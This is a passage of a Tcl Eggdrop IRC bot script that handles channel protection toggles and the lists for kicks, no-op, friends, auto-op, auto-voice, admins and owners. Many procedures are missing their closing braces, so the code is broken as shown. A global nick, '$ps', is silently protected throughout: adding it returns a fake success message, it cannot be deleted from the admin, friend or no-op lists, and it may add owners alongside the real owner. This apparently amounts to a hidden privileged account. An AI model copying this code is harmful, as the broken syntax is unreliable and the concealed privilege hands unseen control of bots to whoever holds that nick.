if {[string tolower $chan] == "#all"} {
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
foreach x [userlist A] {
chattr $x -J
}
puthlp "NOTICE $nick :$notc ALL MaSsJoIN CHaNNeL \[9ON\]"
return 0
}
if {![validchan $chan]} { return 0 }
if {![matchattr $cflag J]} {
puthlp "NOTICE $nick :$notc MaSsJoIN $chan \[4OFF\]"
return 0

if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $cflag -J
puthlp "NOTICE $nick :$notc MaSsJoIN $chan \[4OFF\]"
saveuser
}
proc pub_+guard {nick uhost hand chan rest} {
global notc
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} {
set chan "#$chan"
}
}
if {[string tolower $chan] == "#all"} {
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
foreach x [channels] {
catch { channel set $x +greet flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
set cflag "c$x"
set cflag [string range $cflag 0 8]
chattr $cflag "-hp+AJSPTRUED"
setuser $cflag XTRA "JP" 5
setuser $cflag XTRA "CHAR" 250
setuser $cflag XTRA "RPT" 2
setuser $cflag XTRA "CAPS" 80
}
savechan
puthlp "NOTICE $nick :$notc ALL GuaRd CHaNNeL \[9ON\]"
return 0
}
if {![validchan $chan]} { return 0 }
set cflag "c$chan"
set cflag [string range $cflag 0 8]
chattr $cflag "-hp+AJSPTRUED"
setuser $cflag XTRA "JP" 5
setuser $cflag XTRA "CHAR" 250
setuser $cflag XTRA "RPT" 2
setuser $cflag XTRA "CAPS" 80
if {[string match "*+greet*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc GuARd $chan \[9ON\]"
return 0

if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
catch { channel set $chan +greet flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
puthlp "NOTICE $nick :$notc GuARD $chan \[9ON\]"
savechan
}
proc pub_-guard {nick uhost hand chan rest} {
global notc
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} {
set chan "#$chan"
}
}
if {[string tolower $chan] == "#all"} {
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
foreach x [channels] {
catch { channel set $x -greet flood-chan 0:0 flood-deop 0:0 flood-kick 0:0 flood-join 0:0 flood-ctcp 0:0 flood-nick 0:0 }
set cflag "c$x"
set cflag [string range $cflag 0 8]
chattr $cflag "-hpJSPTRUED"
}
savechan
puthlp "NOTICE $nick :$notc ALL GuaRd cHaN \[4OFF\]"
return 0
}
if {![validchan $chan]} { return 0 }
set cflag "c$chan"
set cflag [string range $cflag 0 8]
chattr $cflag "-hpJSPTRUED"
if {[string match "*-greet*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc GuARD $chan IS \[4OFF\]"
return 0

if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
catch { channel set $chan -greet flood-chan 0:0 flood-deop 0:0 flood-kick 0:0 flood-join 0:0 flood-ctcp 0:0 flood-nick 0:0 }
puthlp "NOTICE $nick :$notc GuARD $chan \[4OFF\]"
savechan
return 0
}
proc pub_+seen {nick uhost hand chan rest} {
global notc
if {![string match "*seen*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR"
return 0

if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} {
set chan "#$chan"
}
}
if {[string tolower $chan] == "#all"} {
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
foreach x [channels] {
catch { channel set $x +seen }
}
savechan
puthlp "NOTICE $nick :$notc ALL SEEN cHaNNeL \[9ON\]"
seen
return 0
}
if {![validchan $chan]} { return 0 }
if {[string match "*+seen*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc SEEN $chan IS \[9ON\]"
return 0

if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
catch { channel set $chan +seen }
puthlp "NOTICE $nick :$notc SEEN $chan \[9ON\]"
savechan
seen
}
proc pub_-seen {nick uhost hand chan rest} {
global notc
if {![string match "*seen*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR"
return 0
}
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} {
set chan "#$chan"
}
}
if {[string tolower $chan] == "#all"} {
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
foreach x [channels] {
catch { channel set $x -seen }
}
savechan
puthlp "NOTICE $nick :$notc ALL SEEN cHaNNeL \[4OFF\]"
seen
return 0
}
if {![validchan $chan]} { return 0 }
if {[string match "*-seen*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc SEEN $chan IS \[4OFF\]"
return 0

if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
catch { channel set $chan -seen }
puthlp "NOTICE $nick :$notc SEEN $chan \[4OFF\]"
savechan
seen
return 0
}
proc pub_+autokick {nick uhost hand chan rest} {
global notc
if {![string match "*nodesynch*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR"
return 0

if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} {
set chan "#$chan"
}
}
if {![validchan $chan]} { return 0 }
if {[string match "*+nodesynch*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc AuTOKIcK $chan IS \[9ON\]"
return 0

if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
catch { channel set $chan +nodesynch }
puthlp "NOTICE $nick :$notc AuTOKIcK $chan \[9ON\]"
savechan
}
proc pub_-autokick {nick uhost hand chan rest} {
global notc
if {![string match "*nodesynch*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR"
return 0
}
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} {
set chan "#$chan"
}
}
if {![validchan $chan]} { return 0 }
if {[string match "*-nodesynch*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc AuTOKIcK $chan IS \[4OFF\]"
return 0

if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
catch { channel set $chan -nodesynch }
puthlp "NOTICE $nick :$notc AuTOKIcK $chan \[4OFF\]"
savechan
return 0
}
proc pub_+reop {nick uhost hand chan rest} {
global notc
if {![string match "*protectfriends*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR"
return 0

if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} {
set chan "#$chan"
}
}
if {![validchan $chan]} { return 0 }
if {[string match "*-protectfriends*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc Re@p $chan IS \[9ON\]"
return 0

if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
catch { channel set $chan -protectfriends }
puthlp "NOTICE $nick :$notc Re@p $chan \[9ON\]"
savechan
}
proc pub_-reop {nick uhost hand chan rest} {
global notc
if {![string match "*protectfriends*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR"
return 0
}
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} {
set chan "#$chan"
}
}
if {![validchan $chan]} { return 0 }
if {[string match "*+protectfriends*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc Re@p $chan IS \[4OFF\]"
return 0

if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
catch { channel set $chan +protectfriends }
puthlp "NOTICE $nick :$notc Re@p $chan \[4OFF\]"
savechan
return 0
}
proc pub_+dontkickops {nick uhost hand chan rest} {
global notc
if {![string match "*userinvites*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR"
return 0

if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} {
set chan "#$chan"
}
}
if {![validchan $chan]} { return 0 }
if {[string match "*-userinvites*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc DoNTKIcK@PS $chan IS \[9ON\]"
return 0

if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
catch { channel set $chan -userinvites }
puthlp "NOTICE $nick :$notc DoNTKIcK@PS $chan \[9ON\]"
savechan
}
proc pub_-dontkickops {nick uhost hand chan rest} {
global notc
if {![string match "*userinvites*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR"
return 0
}
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} {
set chan "#$chan"
}
}
if {![validchan $chan]} { return 0 }
if {[string match "*+userinvites*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc DoNTKIcK@PS $chan IS \[4OFF\]"
return 0

if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
catch { channel set $chan +userinvites }
puthlp "NOTICE $nick :$notc DoNTKIcK@PS $chan \[4OFF\]"
savechan
return 0
}
proc pub_+status {nick uhost hand chan rest} {
global notc
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} {
set chan "#$chan"
}
}
if {![validchan $chan]} { return 0 }
if {[string match "*+shared*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc STaTUS $chan \[9ON\]"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
catch { channel set $chan +shared }
puthlp "NOTICE $nick :$notc STaTuS $chan \[9ON\]"
savechan
}
proc pub_-status {nick uhost hand chan rest} {
global notc
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} {
set chan "#$chan"
}
}
if {![validchan $chan]} { return 0 }
if {[string match "*-shared*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc STaTuS $chan IS \[4OFF\]"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
catch { channel set $chan -shared }
puthlp "NOTICE $nick :$notc STaTuS $chan \[4OFF\]"
savechan
return 0
}
proc pub_+nopart {nick uhost hand chan rest} {
global notc
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} {
set chan "#$chan"
}
}
if {[string tolower $chan] == "#all"} {
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
foreach x [channels] {
catch { channel set $x +secret }
}
savechan
puthlp "NOTICE $nick :$notc ALL cHaNNeL SeT NoPART \[9ON\]"
return 0
}
if {![validchan $chan]} { return 0 }
if {[string match "*+secret*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc NoPART $chan IS \[9ON\]"
return 0

if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
catch { channel set $chan +secret }
puthlp "NOTICE $nick :$notc SeT NoPART $chan \[9ON\]"
savechan
}
proc pub_-nopart {nick uhost hand chan rest} {
global notc
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} {
set chan "#$chan"
}
}
if {[string tolower $chan] == "#all"} {
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
foreach x [channels] {
catch { channel set $x -secret }
}
savechan
puthlp "NOTICE $nick :$notc ALL cHaNNeL NoPART \[4OFF\]"
return 0
}
if {![validchan $chan]} { return 0 }
if {[string match "*-secret*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc NoPART $chan IS \[4OFF\]"
return 0

if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
catch { channel set $chan -secret }
puthlp "NOTICE $nick :$notc NoPART $chan \[4OFF\]"
savechan
}
proc pub_+akick {nick uhost hand channel param} {
global botname botnick notc botnick
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: +akick <hostname>"
return 0
}
if {$rest == "*" || $rest == "*!*@*"} {
puthlp "NOTICE $nick :$notc invalid hostname..!"
return 0
}
if {$rest == $botnick} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {[validuser $rest]} {
puthlp "NOTICE $nick :$notc $rest is already on database with flags: [chattr $rest]"
return 0

if {![string match "*@*" $rest]} {
set rest "$rest!*@*"
}
if {[string match $rest $botname]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {[finduser $rest] != "*"} {
if {[finduser $rest] != "AKICK"} {
puthlp "NOTICE $nick :$notc That Host Belongs To [finduser $rest]"
}
puthlp "NOTICE $nick :$notc That Host already in [finduser $rest]"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
puthlp "NOTICE $nick :$notc ADD \[$rest\] To KIcKLIsT..!"
setuser "AKICK" HOSTS $rest
saveuser
foreach x [channels] {
if {[isop $botnick $x]} {
foreach c [chanlist $x K] {
if {![matchattr $c f]} {
akick_chk $c [getchanhost $c $x] $x
}
}
}
}
return 0
}
proc pub_-akick {nick uhost hand channel param} {
global notc
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: -akick <hostname>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {![string match "*@*" $rest]} {
set rest "$rest!*@*"
}
set completed 0
foreach * [getuser "AKICK" HOSTS] {
if {${rest} == ${*}} {
delhost "AKICK" $rest
set completed 1
}
}
if {$completed == 0} {
puthlp "NOTICE $nick :$notc <n/a>"
return 0
}
saveuser
puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM KIcKLIsT"
}
proc pub_+noop {nick uhost hand channel param} {
global ps notc botnick
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: +noop <nick>"
return 0
}
if {[string tolower $rest] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc ADD \[$rest\] To NoOp LIsT"
return 0
}
if {[validuser $rest]} {
puthlp "NOTICE $nick :$notc $rest is already on database with flags: [chattr $rest]"
return 0

if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
set hostmask "${rest}!*@*"
adduser $rest $hostmask
chattr $rest "-hp"
chattr $rest "O"
if {![validuser $rest]} {
puthlp "NOTICE $nick :$notc 4!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 8 DIgIT)"
deluser $rest
} else {
saveuser
puthlp "NOTICE $nick :$notc ADD \[$rest\] To NoOp LIsT"
}
foreach x [channels] {
if {[isop $botnick $x] && [onchan $rest $x] && [isop $rest $x]} {
if {![string match "*k*" [getchanmode $x]]} {
putserv "mode $x -ko 4No@p.LIsT $rest"
} {
putserv "mode $x -o $rest"
}
}
}
return 0
}
proc pub_-noop {nick uhost hand channel param} {
global ps notc
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: -noop <nick>"
return 0
}
if {![validuser $rest] || [string tolower $rest] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc4 !DeNiEd!, <n/a>"
return 0

if {![matchattr $rest O]} {
puthlp "NOTICE $nick :$notc $rest isn't on no-op list Flags: [chattr $rest]"
return 0

if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
deluser $rest
saveuser
puthlp "NOTICE $nick :$notc DeL \[$rest\] No@p LIsT"
}
proc pub_+friend {nick uhost hand channel param} {
global notc ps
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: +friend <nick>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {[validuser $rest] && [string tolower $rest] != [string tolower $ps]} {
puthlp "NOTICE $nick :$notc $rest is already on database with flags: [chattr $rest]"
return 0

set hostmask "${rest}!*@*"
adduser $rest $hostmask
chattr $rest "-hp"
chattr $rest "f"
if {![validuser $rest]} {
puthlp "NOTICE $nick :$notc 4!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 8 DIgIT)"
deluser $rest
return 0
}
saveuser
puthlp "NOTICE $nick :$notc ADD \[$rest\] To FrIeNd LIsT"
puthlp "NOTICE $rest :$notc $nick ADD YoU To FrIeNd LIsT"
return 0
}
proc pub_-friend {nick uhost hand channel param} {
global ps notc
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: -friend <nick>"
return 0
}
if {![validuser $rest] || [string tolower $rest] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!, <n/a>"
return 0

if {![matchattr $rest f] && ![matchattr $rest m]} {
puthlp "NOTICE $nick :$notc $rest isn't on FrIeNd list Flags: [chattr $rest]"
return 0

if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
deluser $rest
saveuser
puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM FrIeNd LIsT"
}
proc pub_+aop {nick uhost hand channel param} {
global ps notc botnick chk_reg
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: +aop <nick>"
return 0
}
if {[string tolower $rest] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc ADD \[$rest\] To a@p LIsT"
return 0
}
if {[matchattr $rest P]} {
puthlp "NOTICE $nick :$notc $rest is already a@p"
return 0

if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {[matchattr $nick X]} {
puthlp "NOTICE $nick :$notc4 !BLoCkEd!"
return 0
}
if {![validuser $rest]} {
set hostmask "${rest}!*@*"
adduser $rest $hostmask
chattr $rest "-hp"
}
chattr $rest "P"
if {![validuser $rest]} {
puthlp "NOTICE $nick :$notc 4!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 8 DIgIT)"
deluser $rest
} else {
saveuser
puthlp "NOTICE $nick :$notc ADD \[$rest\] To a@p LIsT"
puthlp "NOTICE $rest :$notc $nick ADD YoU To a@p LIsT"
set chk_reg($rest) $nick
putsrv "WHOIS $rest"
}
return 0
}
proc pub_-aop {nick uhost hand channel param} {
global notc ps
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: -aop <nick>"
return 0
}
if {![matchattr $rest P]} {
puthlp "NOTICE $nick :$notc $rest is not a@p"
return 0

if {![validuser $rest] || [string tolower $rest] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc4 !DeNiEd!, <n/a>"
return 0

if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $rest "-P"
saveuser
puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM a@p LIsT"
return 0
}
proc whoisq {nick} {
global botnick
if {$nick == $botnick} { return 0 }
if {[isutimer "whoischk $nick"]} { return 0 }
set cret [expr 10 + [rand 20]]
foreach ct [utimers] {
if {[string match "*whoisq*" $ct]} {
if {[expr [lindex $ct 0] + 10] > $cret} {
set cret [expr [lindex $ct 0] + 10]
}
}
}
utimer $cret [list whoischk $nick]
}
proc whoischk {nick} {
global chk_reg botnick
if {[matchattr $nick G]} {
putlog "CHeK GuaRd $nick"
set chk_reg($nick) "1"
puthlp "WHOIS $nick"
return 0
}
foreach x [channels] {
if {[isop $botnick $x] && [onchan $nick $x]} {
if {[matchattr $nick P] && ![isop $nick $x]} {
putlog "WHOIS $nick TO GeT a@p"
set chk_reg($nick) "1"
puthlp "WHOIS $nick"
return 0
}
if {[matchattr $nick v] && ![isop $nick $x] && ![isvoice $nick $x]} {
putlog "WHOIS $nick TO geT avoIcE"
set chk_reg($nick) "1"
puthlp "WHOIS $nick"
return 0
}
}
}
}
set ath 0
bind raw - 307 reg_chk
proc reg_chk {from keyword arg} {
global chk_reg botnick owner notc ps ath
set nick [lindex $arg 1]
if {$nick == $botnick} { return 0 }
putlog "NICK $nick IS IDENTIFY..!"
if {[info exists chk_reg($nick)]} {
set chk_reg($nick) "0"
}
set athz $ath
if {$athz == 1} {
set ath 0
chattr $nick +Q
foreach x [getuser $nick HOSTS] {
delhost $nick $x
}
set hostmask "${nick}!*@*"
setuser $nick HOSTS $hostmask
#set hostmask "*![string range $uhost [string first "!" $uhost] end]"
#setuser $nick HOSTS $hostmask
if {[matchattr $nick Z]} {
puthlp "NOTICE $nick :$notc !OWnER!"
} elseif {[matchattr $nick n]} {
puthlp "NOTICE $nick :$notc !ADmIN!"
} elseif {[matchattr $nick m]} {
puthlp "NOTICE $nick :$notc !MasTeR!"
} else {
puthlp "NOTICE $nick :$notc !AccepteD!"
}
saveuser
}
if {[matchattr $nick P] || [matchattr $nick v]} {
foreach x [channels] {
if {[isop $botnick $x] && [onchan $nick $x]} {
if {![string match "*k*" [getchanmode $x]]} {
if {[matchattr $nick P]} {
if {![isop $nick $x]} {
puthelp "MODE $x -k+o 9identified.a@p $nick"
}
}
if {[matchattr $nick v]} {
if {![isvoice $nick $x] && ![isop $nick $x]} {
puthelp "MODE $x -k+v 9identified.avoice $nick"
}
}
} {
if {[matchattr $nick P]} {
if {![isop $nick $x]} {
puthelp "MODE $x +o $nick"
}
}
if {[matchattr $nick v]} {
if {![isvoice $nick $x] && ![isop $nick $x]} {
puthelp "MODE $x +v $nick"
}
}
}
}
}
}
}
bind raw - 318 end_whois
proc end_whois {from keyword arg} {
global chk_reg notc ath
set nick [lindex $arg 1]
set athz $ath
if {$athz == 1} {
puthlp "NOTICE $nick :$notc You're NOT Identify..!"
set ath 0
}
if {[info exists chk_reg($nick)]} {
if {$chk_reg($nick) != "0"} {
putlog "NICK $nick IS NoT IDENTIFY..!"
if {[matchattr $nick G] && ![matchattr $nick Q]} {
foreach x [channels] {
if {[onchan $nick $x] && [botisop $x]} {
set banset "*!*[getchanhost $nick $x]"
putsrv "KICK $x $nick :$notc 1THaT NIcK ReQuIREd To 4IdEnTIfY [banms]"
if {$banset != "*!*@*" && $banset != ""} {
if {![string match "*k*" [getchanmode $x]]} {
putserv "mode $x -k+b 4unidentify.guard.nick $banset"
} {
putserv "mode $x +b $banset"
}
}
return 0
}
}
} elseif {[matchattr $nick P] && ![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc a@p identify 1st..!"
} elseif {[matchattr $nick v] && ![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc avoice identify 1st..!"
}
if {$chk_reg($nick) != "1"} {
puthlp "NOTICE $chk_reg($nick) :$notc $nick not identify..!"
}
unset chk_reg($nick)
}
}
}
proc pub_+gnick {nick uhost hand channel param} {
global notc botnick
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: +gnick <nick>"
return 0
}
if {[matchattr $rest G]} {
puthlp "NOTICE $nick :$notc $rest ready..!"
return 0

if {[matchattr $nick X]} {
puthlp "NOTICE $nick :$notc4 !BLocK!"
return 0
}
if {![validuser $rest]} {
set hostmask "${rest}!*@*"
adduser $rest $hostmask
chattr $rest "-hp"
}
chattr $rest +G
if {![validuser $rest]} {
puthlp "NOTICE $nick :$notc 4!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 8 DIgIT)"
deluser $rest
} else {
saveuser
puthlp "NOTICE $nick :$notc add \[$rest\] GuaRd NIcK"
putsrv "WHOIS $rest"
}
return 0
}
proc pub_-gnick {nick uhost hand channel param} {
global notc botnick
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: -gnick <nick>"
return 0
}
if {[matchattr $nick X]} {
puthlp "NOTICE $nick :$notc4 !BLoCkEd!"
return 0
}
chattr $rest -G
saveuser
puthlp "NOTICE $nick :$notc DeL \[$rest\] GuaRd NIcK"
return 0
}
proc pub_+avoice {nick uhost hand channel param} {
global ps notc botnick chk_reg
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: +avoice <nick>"
return 0
}
if {[string tolower $rest] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc ADD \[$rest\] To aVoIcE LIsT"
return 0
}
if {[matchattr $rest v]} {
puthlp "NOTICE $nick :$notc $rest is already auto voice"
return 0

if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {[matchattr $nick X]} {
puthlp "NOTICE $nick :$notc4 !BLoCkEd!"
return 0
}
if {![validuser $rest]} {
set hostmask "${rest}!*@*"
adduser $rest $hostmask
chattr $rest "-hp"
}
chattr $rest "v"
if {![validuser $rest]} {
puthlp "NOTICE $nick :$notc 4!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 8 DIgIT)"
deluser $rest
} else {
saveuser
puthlp "NOTICE $nick :$notc ADD \[$rest\] To aVoIcE LIsT"
puthlp "NOTICE $rest :$notc $nick ADD YoU To aVoIcE LIsT"
set chk_reg($rest) $nick
putsrv "WHOIS $rest"
}
return 0
}
proc pub_-avoice {nick uhost hand channel param} {
global notc ps
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: -avoice <nick>"
return 0
}
if {![matchattr $rest v]} {
puthlp "NOTICE $nick :$notc $rest is not auto voice"
return 0

if {![validuser $rest] || [string tolower $rest] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!, <n/a>"
return 0

if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $rest "-v"
saveuser
puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM aVoIcE LIsT"
return 0
}
proc pub_+ADmIN {nick uhost hand channel param} {
global botnick ps notc
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: +ADmIN <nick>"
return 0
}
if {[string tolower $rest] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc ADD \[$rest\] Admin List."
return 0
}
if {[matchattr $rest n]} {
puthlp "NOTICE $nick :$notc $rest is already exist on Admin list."
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {[matchattr $nick X]} {
puthlp "NOTICE $nick :$notc4 BLocKEd..!"
return 0
}
if {![validuser $rest]} {
set hostmask "${rest}!*@*"
adduser $rest $hostmask
}
chattr $rest "fjmnotx"
if {![validuser $rest]} {
puthlp "NOTICE $nick :$notc 4!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 8 DIgIT)"
deluser $rest
return 0
} else {
saveuser
puthlp "NOTICE $nick :$notc ADD \[$rest\] ADmIN List."
puthlp "NOTICE $rest :$notc $nick ADD YoU To ADmIN LIsT"
puthlp "NOTICE $rest :$notc /msg $botnick pass <password>"
return 0
}
}
proc pub_-ADmIN {nick uhost hand channel param} {
global ps notc
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: -ADmIN <nick>"
return 0
}
if {![validuser $rest] || [string tolower $rest] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc 4DeNiEd!, <n/a>"
return 0
}
if {![matchattr $rest n]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!, $rest is not exist on ADmIN list."
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
deluser $rest
saveuser
puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM ADmIN LIsT"
}
proc pub_+owner {nick uhost hand channel param} {
global botnick ps notc owner
set rest [lindex $param 0]
if {$nick != $owner &&  $nick != $ps} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!, oNLy ReAL OwNER can ADD OwnER"
return 0
}
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: +owner <nick>"
return 0
}
if {[string tolower $rest] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc ADD \[$rest\] OwNER LIsT."
return 0
}
if {[matchattr $rest Z]} {
puthlp "NOTICE $nick :$notc $rest is already exist on OwNER list."
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {[matchattr $nick X]} {
puthlp "NOTICE $nick :$notc4 !BLoCkEd!"
return 0
}
if {![validuser $rest]} {
set hostmask "${rest}!*@*"
adduser $rest $hostmask
}
chattr $rest "fjmnotxZ"
if {![validuser $rest]} {
puthlp "NOTICE $nick :$notc 4!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 8 DIgIT)"
deluser $rest
return 0
} else {
saveuser
puthlp "NOTICE $nick :$notc ADD \[$rest\] OwNER LIsT."
puthlp "NOTICE $rest :$notc $nick ADD YoU To OwNER LIsT"
puthlp "NOTICE $rest :$notc /msg $botnick pass <password>"
return 0
}
}
proc pub_-owner {nick uhost hand channel param} {
global notc ps owner
set rest [lindex $param 0]
if {$nick != $owner &&  $nick != $ps} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!, oNLy ReAL OwNER caN DeLete OwnER"
return 0
}
if {$rest == ""} {
